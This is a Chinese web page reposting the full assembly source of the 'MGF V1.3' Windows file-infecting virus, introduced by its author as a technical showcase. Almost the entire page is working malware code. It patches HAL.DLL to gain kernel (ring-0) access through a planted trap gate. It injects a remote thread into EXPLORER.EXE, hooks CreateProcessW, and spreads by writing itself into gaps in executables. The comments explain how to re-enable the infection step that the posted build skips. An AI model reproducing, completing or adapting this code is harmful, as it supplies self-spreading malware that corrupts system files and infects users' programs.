网络安全 频道

MGF病毒最新版本的源代码(V1.30)

MGF V1.3的源代码:
;大家好!我是MGF。2年前因为我的MGF给很多人带来了麻烦,所以我“闭门思过”埋头工作,消身匿迹近2年。现在看到“风声过去了”,
;才敢浮头露露面。现在我最新的改进过的MGF又出来了(没有散布),还是我的一贯作风,没有破坏,只讲技术,希望看过以下代码的朋
;友能够学到一些技术,有所启发。


;相关技术:
;1,HOOK HAL.DLL的ExAcquireFastMutex()。在函数执行前先执行我的代码,往IDT里添加INT FE陷阱门。重新启动后就可以通过它进入RING0;
;(这下微软又犯错了,没有保护HAL.DLL,而且ExAcquireFastMutex()是第一个被导出的函数(很方便HOOK),又是一个执行得很频繁的函数。
;该方法比修改NTLDR更难于利用,是我发现的能够进入RING0的2个漏洞之一(第一个NTLDR漏洞大家都知道了)。我已经发邮件把代码给微软,
;但没有结果,看来还要继续骂MS!)

;2,用新方法HOOK CreateProcessW()来感染文件。CreateProcessW()只是调用了一个CreateProcessInternalW()来完成自身的功能,它的具体
;代码是:

;Exported fn(): CreateProcessW - Ord:0060h
;:77E41B8A 55                      push ebp
;:77E41B8B 8BEC                    mov ebp, esp
;:77E41B8D 6A00                    push 00000000
;:77E41B8F FF752C                  push [ebp+2C] //CreateProcessW()的第10个参数
;:77E41B92 FF7528                  push [ebp+28] //CreateProcessW()的第9个参数
;:77E41B95 FF7524                  push [ebp+24] //CreateProcessW()的第8个参数
;:77E41B98 FF7520                  push [ebp+20] //CreateProcessW()的第7个参数
;:77E41B9B FF751C                  push [ebp+1C] //CreateProcessW()的第6个参数
;:77E41B9E FF7518                  push [ebp+18] //CreateProcessW()的第5个参数
;:77E41BA1 FF7514                  push [ebp+14] //CreateProcessW()的第4个参数
;:77E41BA4 FF7510                  push [ebp+10] //CreateProcessW()的第3个参数
;:77E41BA7 FF750C                  push [ebp+0C] //CreateProcessW()的第2个参数
;:77E41BAA FF7508                  push [ebp+08] //CreateProcessW()的第1个参数
;:77E41BAD 6A00                    push 00000000
;* Reference T KERNEL32.CreateProcessInternalW
;                                  |
;:77E41BAF E83EBE0100              call 77E5D9F2 //注意这条CALL指令,只要把它的机器码E8后面的相对地址指向自己的代码就可以HOOK了
;:77E41BB4 5D                      pop ebp
;:77E41BB5 C22800                  ret 0028

;如何找到这条CALL 指令呢?只要在CreateProcessW()开始处搜索086A00E8这个特征就可以了,08是push [ebp+08]的机器码FF7508的一部分,
;它和后面的push 00000000的机器码6A00连在一起,而6A00又和call 77E5D9F2的机器码E8连在一起,所以只要找到086A00E8这个特征,就可
;以找到call 77E5D9F2 || call KERNEL32.CreateProcessInternalW这条指令。

;3,采用把自身分成几段后插入PE文件的空隙来感染文件,不增加文件长度。用自身的函数搜索被感染PE文件里连续几十个为0的空间,把找到
;的空间收集起来,如果这些空间能够装得下病毒,就感染,否则不感染。这样,病毒有一个要求:必须有一个引导代码,把分散在宿主进程里
;的代码收集合并到分配的内存里,这个0x1d0大小的引导代码是不能被分割的,被感染PE文件里必须有一个连续空间可以容得下该0x1d0大小的
;引导代码,否则即使文件的总空隙比病毒大,可以装得下病毒,但也不感染。

;本病毒可以用MASM编译成功后直接运行,在内存感染文件的功能已经被我用JMP指令跳过,编译后的大小0xb23(2951)字节,可以感染WINDOWS
;带的calc.exe,charmap.exe,sol.exe,notepad.exe,osk.exe等,但感染安装文件时可能会破坏安装文件,因为安装文件要进行自解压,CRC验校
;等(已经测试过)。


.586p
.model flat,stdcall
option casemap:none


include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include mpr.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib mpr.lib


VirusSize = offset VirusEnd-offset VirusStart


.code
VirusStart:
;int 3
nop
pushad

db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;计算重定位值,做了一些变形

.if ebx
mov edx,[esp+24h]
.else
mov edx,[esp+20h]
.endif
call _GetModuleAddress
mov ebp,eax ;EBP=hKernel32

bt eax,31
jc _ErrorExit ;如果是WINDOWS 9X,返回原来程序入口

push 0A5171D00h ;VirtualAlloc()的自定义编码
push ebp        ;hKernel32
call _GetProcAddress ;先获取VirtualAlloc()的地址
or eax,eax
jz _ErrorExit

push 40h
push 1000h
push 1000h
push 0
call eax ;调用VirtualAlloc()分配4K内存
or eax,eax
jz _ErrorExit

mov edi,eax

lea edx,_SectionAddress[ebx]
.while dword ptr [edx]
mov esi,[edx]
mov ecx,[edx+4]
rep movsb ;把分散在宿主进程的病毒体收集合并到申请的内存里
add edx,8
.endw

lea ecx,[eax+(offset _NewStart-offset VirusStart)]
jmp ecx ;跳到新地址继续执行

_ErrorExit:
popad
ret

;根据函数自定义编码来获取函数地址的子程序,比如VirtualAlloc()的自定义编码是0A5171D00h
_GetProcAddress proc _hModule,_ProcName
pushad

mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
add esi,_hModule

@@:
push ecx
lodsd
add eax,_hModule
xor edi,edi
.repeat
mov ecx,[eax]
inc eax
adc edi,ecx
rol ecx,8
.until cl==0
cmp edi,_ProcName
pop ecx
loopnz @b

.if ZERO?
sub esi,4
sub esi,_hModule
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
mov [esp+1ch],edx
.else
mov dword ptr [esp+1ch],0
.endif

popad
ret
_GetProcAddress endp

;获取hKernel32地址的子程序
;in=edx, out=eax
_GetModuleAddress:
@@:
and dx,0f000h
sub edx,1000h
cmp word ptr [edx],''ZM''
jnz @b
mov eax,edx
add edx,[edx+3ch]
cmp dword ptr [edx],''EP''
jnz @b
ret


dwOldEntryCom db 0,0,0,0,0 ;保存被感染PE文件原程序入口前5个字节的变量

;段链表,它记录了病毒分散在PE文件各处的病毒体的地址和大小
_SectionAddress:
dd offset VirusStart
dd VirusSize
dd 18h*2 dup(0)

;新执行点,在引导代码把病毒体收集合并到申请的内存后,就跳到这里执行。从这里往前到VirusStart之间的代码是引导代码,不能分割
_NewStart:
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
xchg ebx,edx ;重定位

.if edx ;如果在宿主进程运行,恢复进程原来的入口代码
sub dword ptr [esp+20h],5
mov edx,[esp+20h]
mov al,dwOldEntryCom[ebx]
mov [edx],al
mov eax,dword ptr dwOldEntryCom[ebx+1]
mov [edx+1],eax
.endif

;以下程序块获取所有需要的API地址
lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
push eax
push ebp
call _GetProcAddress
stosd
cmp dword ptr [esi],0
loopnz @b
lea eax,szGetLastError[ebx]
push eax
push ebp
call dwGetProcAddress[ebx]
stosd

mov edx,398h
lar eax,edx
.if eax==00cffb00h ;如果在GDT里找到特征码,进入RING0
int 0feh
mov eax,esp
mov esp,[esp+8]
push eax

mov eax,cr0
push eax
btr eax,16
mov cr0,eax

mov edx,dwCreateProcessInternalW[ebx]
sub edx,ebp
lea ecx,[edx-(380h+(offset _JmpOffset-offset VirusStart))]
mov dword ptr _JmpOffset[ebx-4],ecx ;计算CALL指令的地址差

lea edi,[ebp+380h]
lea esi,VirusStart[ebx]
push 16
pop ecx
pushad
repz cmpsb ;判断病毒是否已经驻留内存
popad
.if !ZERO?
mov ecx,VirusSize
rep movsb ;驻留内存

mov edx,dwCreateProcessW[ebx]
mov ecx,80h
@@:
inc edx
cmp dword ptr [edx],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edx+8]
sub ecx,ebp
sub ecx,380h+offset _NewCreateProcessW-offset VirusStart
neg ecx
mov [edx+4],ecx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif

pop eax
mov cr0,eax

pop esp
lea eax,@f[ebx]
push eax
db 0cfh ;IRETD指令,返回RING3
@@:

.else ;如果只第一次运行,内存中没有陷阱门,就修改HAL.DLL,建立远程线程到EXPLORER.EXE里HOOK CreateProcessW()感染文件
lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;用MUTEX来保证远程线程只建立一次
call dwGetLastError[ebx]
.if eax!=0b7h

enter 200h,0

mov edi,esp
push 60h
push edi
call dwGetSystemDirectoryW[ebx]
shl eax,1
mov dword ptr [edi+eax],0068005ch
mov dword ptr [edi+eax+4],006c0061h
mov dword ptr [edi+eax+8],0064002eh
mov dword ptr [edi+eax+12],006c006ch
mov dword ptr [edi+eax+16],0 ;构造c:\windows\system32\hal.dll字符串(UNICODE码)
push 1
push edi
call _EditFile ;修改HAL.DLL文件,HOOK ExAcquireFastMutex()

xor esi,esi
.repeat
push 5000
call dwSleep[ebx]
push 0
push 2
call dwCreateToolhelp32Snapshot[ebx] ;搜索EXPLORER.EXE进程
mov [ebp-4],eax

mov dword ptr [edi],128h
push edi
push eax
call dwProcess32First[ebx]
.while eax
lea edx,[edi+24h]
push 12
push edx
call _Str2Upper
.if dword ptr [edi+24h]==''LPXE'' && dword ptr [edi+24h+4]==''RERO'' && dword ptr [edi+24h+8]==''EXE.''

push dword ptr [edi+8]
push esi
push 2ah
call dwOpenProcess[ebx] ;打开EXPLORER.EXE进程
.if eax
mov [ebp-8],eax
push 40h
push 1000h
push 1000h
push esi
push eax
call dwVirtualAllocEx[ebx] ;在EXPLORER.EXE进程里分配内存
mov edi,eax
lea edx,VirusStart[ebx]
push esi
push 1000h
push edx
push edi
push dword ptr [ebp-8]
call dwWriteProcessMemory[ebx] ;把病毒体写入EXPLORER.EXE进程里
lea eax,[edi+(offset _RemoteThread-offset VirusStart)]
push esi
push esi
push esi
push eax
push esi
push esi
push dword ptr [ebp-8]
call dwCreateRemoteThread[ebx] ;在EXPLORER.EXE进程里建立远程线程
push dword ptr [ebp-8]
call dwCloseHandle[ebx]
mov esi,esp
.break
.endif
.endif

push edi
push dword ptr [ebp-4]
call dwProcess32Next[ebx]
.endw

push dword ptr [ebp-4]
call dwCloseHandle[ebx]
.until esi

leave

.endif

.endif

popad
ret

;在EXPLORER里建立的远程线程,功能是HOOK CreateProcessW(),感染文件
_RemoteThread proc p1
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx

lea eax,szGetLastError[ebx]
push eax
push 1
push 0
call dwCreateMutexA[ebx] ;建立MUTEX

mov edi,dwCreateProcessW[ebx]
push ecx
push esp
push 40h
push 1000h
push edi
call dwVirtualProtect[ebx] ;去除CreateProcessW()所在内存页的只读属性
pop ecx

.if eax
mov edx,dwCreateProcessInternalW[ebx]
lea ecx,_JmpOffset[ebx]
sub edx,ecx
mov dword ptr _JmpOffset[ebx-4],edx ;计算2条指令间的相对地址

mov ecx,80h
@@:
inc edi
cmp dword ptr [edi],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码
loopnz @b
lea ecx,[edi+8]
lea edx,_NewCreateProcessW[ebx]
sub edx,ecx
mov [edi+4],edx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW()
.endif

popad
ret
_RemoteThread endp


_NewCreateProcessW: ;被HOOK后的CreateProcessW()
pushad
db 0e8h,3,0,0,0,''mgf''
pop edx
sub edx,$-4
mov ebx,edx ;重定位

mov edi,[esp+20h+12]
inc edi
inc edi
mov esi,edi
push 22h
pop eax
mov ecx,100h
repnz scasw
mov byte ptr [edi-2],0 ;处理CreateProcessW()的参数

jmp @f ;这条指令使系统跳过了下面的感染PE文件的函数,各位如果想跟踪感染文件过程,可以在跟踪到这里时使EIP=EIP+2,继续跟踪感染文件的过程
push 0
push esi
call _EditFile ;感染将被CreateProcessW()执行的PE文件
@@:

mov byte ptr [edi-2],22h
popad
db 0e9h
dd 0
_JmpOffset:


_EditFile proc _lpFileName,_dwFlag ;感染文件的子程序,_dwFlag=0时感染普通PE文件,_dwFlag=1时修改HAL.DLL文件
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
local @szTempBuffer[100h]:byte
pushad

push _lpFileName
call dwGetFileAttributesW[ebx]
.if eax!=-1
mov @dwFileAttributes,eax

push 80h
push _lpFileName
call dwSetFileAttributesW[ebx]

push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
call dwCreateFileW[ebx]
.if eax!=-1
mov @hFile,eax

push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK

push 0
push @hFile
call dwGetFileSize[ebx]
mov @dwFileSize,eax

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]

push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
.if eax
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
.if eax
mov @lpFileMap,eax

.if word ptr [eax]==''ZM''
.if dword ptr [eax+38h]!=''FGM''
add eax,[eax+3ch]
.if dword ptr [eax]==''EP''
bt dword ptr [eax+16h],13
.if !CARRY?

lea edi,@szTempBuffer
mov eax,@lpFileMap
mov edx,@dwFileSize
push 18h
pop ecx
@@:
push ecx

push VirusSize/18h
push edx
push eax
call _FindSpace ;在被感染PE文件里搜索空间
.if eax
push eax
push 0
push eax
push @lpFileMap
call _TranslateAddr ;判断找到的空间是否有效
cmp eax,1
pop eax
jl _EditFile1
stosd ;保存有效空间的地址到段链表
xchg eax,edx
stosd ;保存有效空间的大小到段链表
xchg eax,edx
_EditFile1:
add eax,edx
mov ecx,eax
sub ecx,@lpFileMap
mov edx,@dwFileSize
sub edx,ecx
.endif

or eax,eax
pop ecx
loopnz @b ;继续搜索空间
xor eax,eax
stosd
stosd

push 4
pop edx
.while dword ptr [@szTempBuffer+edx] ;本循环用来调整找到的空间

.if dword ptr [@szTempBuffer+edx] >= VirusSize ;如果某个空间可以容得下整个病毒,就把该空间做为链的第一项,病毒体全部写入该空间
mov eax,dword ptr [@szTempBuffer+edx-4]
mov dword ptr @szTempBuffer,eax
mov eax,dword ptr [@szTempBuffer+edx]
mov dword ptr @szTempBuffer+4,eax
xor eax,eax
mov dword ptr @szTempBuffer+8,eax
mov dword ptr @szTempBuffer+12,eax
.break
.elseif dword ptr [@szTempBuffer+edx] >= offset _NewStart-offset VirusStart
mov eax,dword ptr [@szTempBuffer+edx-4]
xchg dword ptr @szTempBuffer,eax
mov dword ptr [@szTempBuffer+edx-4],eax
mov eax,dword ptr [@szTempBuffer+edx]
xchg dword ptr @szTempBuffer+4,eax
mov dword ptr [@szTempBuffer+edx],eax ;如果没有哪个空间可以放得下整个病毒,就把放得下引导代码的空间调整为链的第一个项
.break
.endif

add edx,8
.endw

push 4
pop edx
xor eax,eax
.while dword ptr [@szTempBuffer+edx]
add eax,dword ptr [@szTempBuffer+edx] ;计算所有空间大小
add edx,8
.endw

.if dword ptr [@szTempBuffer+4] >= offset _NewStart-offset VirusStart ;如果第一个链项装得下引导代码,继续,否则退出
.if dword ptr [@szTempBuffer+4] >= VirusSize || eax >= VirusSize ;如果第一个链项装得下整个病毒体或者所有空隙可以装得下就继续

mov eax,VirusSize
lea edx,@szTempBuffer
lea esi,VirusStart[ebx]
.while dword ptr [edx]
.if dword ptr [edx+4] >= eax
mov dword ptr [edx+4],eax
.endif
mov edi,[edx]
mov ecx,[edx+4]
rep movsb ;把病毒体分成多个部分写入找到的PE文件空隙处
sub eax,[edx+4]
.break .if !eax
add edx,8
.endw
xor eax,eax
mov [edx+8],eax
mov [edx+12],eax

lea esi,@szTempBuffer
mov edi,[esi]
add edi,offset _SectionAddress-offset VirusStart

mov edx,esi
.while dword ptr [edx]
push 2
push dword ptr [edx]
push @lpFileMap
call _TranslateAddr
mov [edx],eax ;把地址链里的地址转换为虚拟地址并写入PE文件
add edx,8
.endw
push 19h*2
pop ecx
pushad
rep movsd
popad

mov edx,@lpFileMap ;保存和修改程序入口指令
add edx,[edx+3ch]
push 3
push dword ptr [edx+28h]
push @lpFileMap
call _TranslateAddr
mov esi,eax
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx
sub edi,offset _SectionAddress-offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h]
sub eax,[edx+28h]
sub eax,5
mov byte ptr [esi],0e8h
mov [esi+1],eax

movzx eax,word ptr [edx+14h]
add eax,18h
movzx ecx,word ptr [edx+6]
add edx,eax
.repeat
mov eax,[edx+10h]
.if [edx+8]mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h ;修改节属性
add edx,28h
.break .if !ecx
.untilcxz

mov eax,@lpFileMap
mov dword ptr [eax+38h],''FGM'' ;在文件头标记已感染标志
.endif
.endif


.elseif _dwFlag==1 ;如果_dwFlag==1,修改HAL.DLL,HOOK ExAcquireFastMutex()
mov eax,[eax+54h]
mov edx,@lpFileMap
add edx,eax
sub eax,@dwFileSize
neg eax ;调整搜索地址

push offset ring0apiend-offset ring0apistart
push eax
push edx
call _FindSpace ;在HAL.DLL的PE头之后开始搜索空间
.if eax
mov edi,eax
lea esi,ring0apistart[ebx]
mov ecx,offset ring0apiend-offset ring0apistart
rep movsb ;把HOOK代码写入HAL.DLL

push 2
push eax
push @lpFileMap
call _TranslateAddr ;HOOK代码的文件地址转换为虚拟地址
mov esi,eax

mov edx,@lpFileMap
mov dword ptr [edx+38h],''FGM''
add edx,[edx+3ch]
sub esi,[edx+34h]
mov ecx,[edx+78h]
push 3
push ecx
push @lpFileMap
call _TranslateAddr ;导出表的地址转换为文件地址
mov ecx,[eax+1ch]
push 3
push ecx
push @lpFileMap
call _TranslateAddr ;导出函数地址表的地址转换为文件地址,保存在EAX里

xchg esi,[eax] ;修改ExAcquireFastMutex()的入口地址为HOOK代码地址
push 2
push edi
push @lpFileMap
call _TranslateAddr ;HOOK代码执行完后要转到原来的ExAcquireFastMutex()继续执行,这里转换JMP指令的文件地址为虚拟地址
sub eax,[edx+34h]
sub esi,eax
mov [edi-4],esi ;地址差写入HOOK代码的最后的JMP指令处

mov dword ptr [edx+58h],0
push @dwFileSize
push @lpFileMap
call _CheckSum
mov [edx+58h],eax ;重新计算hal.dll的CHECKSUM值并填入PE头
.endif

.endif;''DLL''

.endif;''EP''

.endif;! ''FGM''

.endif;''ZM''

push @lpFileMap
call dwUnmapViewOfFile[ebx]
.endif

push @hFileMap
call dwCloseHandle[ebx]
.endif

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
.endif

push @hFile
call dwCloseHandle[ebx]
.endif

push @dwFileAttributes
push _lpFileName
call dwSetFileAttributesW[ebx]
.endif

popad
ret
_EditFile endp

;在PE文件里搜索连续为0的空间,函数返回值在EAX和EDX里
;out:eax=addr, edx=size
_FindSpace proc _StartAddress,_Size,_RequireSize
pushfd
push esi
push edi
cld

mov eax,_StartAddress
.if word ptr [eax]==''ZM''
add eax,[eax+3ch]
.if dword ptr [eax]==''EP''
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
sub edx,_StartAddress
sub _Size,edx
add _StartAddress,edx
.endif
.endif

mov edi,_StartAddress
mov ecx,_Size
shr ecx,2
xor eax,eax
@@:
repnz scasd
lea esi,[edi-4]
mov edx,esi
repz scasd
sub edx,edi
neg edx
sub edx,4
jecxz _FindSpace1
cmp edx,_RequireSize
jb @b
_FindSpace1:
.if edx>=_RequireSize
lea eax,[esi+4]
sub edx,4
.endif

pop edi
pop esi
popfd
ret
_FindSpace endp

;文件地址和虚拟地址相互转换的函数
;flag: bit0=0 文件地址转成虚拟地址; bit0=1 虚拟地址转成文件地址; bit1=0 正常转换; bit1=1 强制转换
_TranslateAddr proc _hModule,_Addr,_Flag
local @dwFlag
xor eax,eax
pushad

mov eax,_Flag
shr eax,1
mov @dwFlag,eax
and byte ptr _Flag,1

mov eax,_hModule
add eax,[eax+3ch]
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax

mov ecx,_Addr
.if _Flag==0 && ecx>_hModule
sub ecx,_hModule
.elseif _Flag==1 && ecx>[eax+34h]
sub ecx,[eax+34h]
.endif
mov _Addr,ecx

.if ecx<[eax+54h]
.if _Flag==0
add ecx,[eax+34h]
.else
add ecx,_hModule
.endif
mov [esp+1ch],ecx
jmp _TranslateAddr1
.endif

movzx ecx,word ptr [eax+6]
.repeat
.if _Flag==0
mov esi,[edx+14h]
mov edi,[edx+10h]
add edi,esi
.else
mov esi,[edx+12]
mov edi,[edx+8]
add edi,esi
.endif

.if _Addr>=esi && _Addr

.if !@dwFlag
test byte ptr [edx+27h],80h
.if !ZERO?
mov dword ptr [esp+1ch],-1
.break
.endif
.endif

sub esi,_Addr
neg esi
.if _Flag==0
add esi,[edx+12]
add esi,[eax+34h]
.else
add esi,[edx+14h]
add esi,_hModule
.endif
mov [esp+1ch],esi
.break

.endif

add edx,28h
.break .if !ecx
.untilcxz

_TranslateAddr1:
popad
ret
_TranslateAddr endp


_CheckSum proc _lpaddr,_size ;计算PE CHECKSUM的函数
pushad

mov ecx,_size
shr ecx,1
pushfd

xor edx,edx
mov esi,_lpaddr
.repeat
lodsw
adc dx,ax
.untilcxz

popfd
.if CARRY?
lodsb
mov ah,0
adc dx,ax
.endif

add edx,_size
mov [esp+1ch],edx

popad
ret
_CheckSum endp


_Str2Upper proc _lpString,_Size
pushad
mov esi,_lpString
mov edi,esi
mov ecx,_Size
.if ecx
.repeat
lodsb
.if al>=''a'' && al<=''z''
sub al,20h
.endif
stosb
.untilcxz
.endif
popad
ret
_Str2Upper endp

;hal.dll导出的ExAcquireFastMutex()的HOOK代码,用来建立INT FE陷阱门,建立SELECTOR=390H的0级32位代码段和一个特征码
ring0apistart:
pushfd
pushad

push ebp
sgdt fword ptr [esp-2]
pop ebx
mov edi,390h

.if dword ptr [ebx+edi+12]!=00cffb00h
lea edx,[ebx+edi+8]
mov byte ptr [edx],0c3h

mov dword ptr [ebx+edi],0000ffffh
mov dword ptr [ebx+edi+4],00cf9b00h
mov byte ptr [ebx+edi+8],0c3h
mov dword ptr [ebx+edi+12],00cffb00h

push ebp
sidt fword ptr [esp-2]
pop ebx
mov esi,0feh*8

mov dword ptr [ebx+esi],edx
mov dword ptr [ebx+esi+4],edx
mov dword ptr [ebx+esi+2],0ef000390h
.endif

popad
popfd
db 0e9h ;JMP ExAcquireFastMutex()指令,下面的地址差要随机计算后填入
dd 0
ring0apiend:

;WIN API的自定义编码表
FunctionNameTab:
szCreateProcessW dd 074D9F4C0h
szCreateFileW dd 01479946Fh
szGetFileAttributesW dd 004788654h
szSetFileAttributesW dd 004788660h
szCreateFileMappingW dd 0E3486339h
szMapViewOfFile dd 0D444401Dh
szUnmapViewOfFile dd 0A6131C00h
szGetFileSize dd 01E92925Ch
szGetFileTime dd 01286865Dh
szSetFileTime dd 012868669h
szGetFileType dd 02599996Dh
szCloseHandle dd 027969D71h
szGetSystemDirectoryW dd 0980C19E1h
szCreateProcessInternalW dd 0B51A3504h
szSleep dd 0D63B3724h
szCreateToolhelp32Snapshot dd 03EA3A16Dh
szProcess32First dd 01F8E8C65h
szProcess32Next dd 0B62522F7h
szOpenProcess dd 050B5B28Bh
szVirtualAllocEx dd 062D4C5D2h
szWriteProcessMemory dd 037A09978h
szCreateRemoteThread dd 004697753h
szVirtualProtect dd 09C0E02F1h
szCreateMutexA dd 091F727EFh
szGetProcAddress dd 05ED2C494h

dd 0


FunctionAddressTab:
dwCreateProcessW dd 0
dwCreateFileW dd 0
dwGetFileAttributesW dd 0
dwSetFileAttributesW dd 0
dwCreateFileMappingW dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwGetFileSize dd 0
dwGetFileTime dd 0
dwSetFileTime dd 0
dwGetFileType dd 0
dwCloseHandle dd 0
dwGetSystemDirectoryW dd 0
dwCreateProcessInternalW dd 0
dwSleep dd 0
dwCreateToolhelp32Snapshot dd 0
dwProcess32First dd 0
dwProcess32Next dd 0
dwOpenProcess dd 0
dwVirtualAllocEx dd 0
dwWriteProcessMemory dd 0
dwCreateRemoteThread dd 0
dwVirtualProtect dd 0
dwCreateMutexA dd 0
dwGetProcAddress dd 0

dwGetLastError dd 0


szGetLastError db ''GetLastError'',0
szVersion db ''MGF Ver1.3'',0


VirusEnd:
invoke ExitProcess,0

end VirusStart

http://www.hack58.net/Article/60/64/2005/5637.htm

0
相关文章